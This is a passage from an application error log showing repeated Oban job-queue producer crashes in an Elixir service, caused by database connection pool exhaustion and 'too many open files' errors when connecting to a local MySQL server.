dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:36:40.240716Z], limit: 50, uuid: "e6370228-a448-4f0b-931e-2dd7ee7afc91", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:40.240721Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.20132>, refresh_timer: #Reference<0.2525715032.1068498948.20100>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:36:40.243384Z], limit: 3, uuid: "23a32844-d983-4898-84fd-570c9243d179", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:40.243404Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.254381>, refresh_timer: #Reference<0.2525715032.1068498948.20130>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:52.243000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 825ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:36:40.242805Z], limit: 5, uuid: "8263e973-9b32-4af5-ad1b-7dc89b62beb7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:40.242811Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.254380>, refresh_timer: #Reference<0.2525715032.1068498948.20099>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1052ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:36:40.243470Z], limit: 10, uuid: "47708302-78c7-49f2-b105-177b32f1e673", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:40.243475Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.254382>, refresh_timer: #Reference<0.2525715032.1121189889.125378>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:52.243000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 851ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:36:40.247475Z], limit: 20, uuid: "879a0cba-7ad0-4ebe-8756-8940869cd46c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:40.247481Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.254384>, refresh_timer: #Reference<0.2525715032.1099431938.23986>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:52.917000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:53.196000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:53.389000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:55.523000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:00.708000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:03.104000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:03.734000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:03.755000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:36:52.245069Z], limit: 10, uuid: "869dd885-1b2e-4727-a8db-0582ecd18f45", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:52.245074Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.254724>, refresh_timer: #Reference<0.2525715032.1068498948.20237>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 894ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:36:52.243270Z], limit: 3, uuid: "ee2ef6ad-f74b-4612-8143-3ffedd3c45f3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:52.243276Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.254723>, refresh_timer: #Reference<0.2525715032.1077411843.254678>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:04.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:36:52.245826Z], limit: 20, uuid: "30e0e64a-1aaf-4ace-b4e2-7d4e032d6d14", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:52.245831Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.254726>, refresh_timer: #Reference<0.2525715032.1099431938.24072>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:04.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 815ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
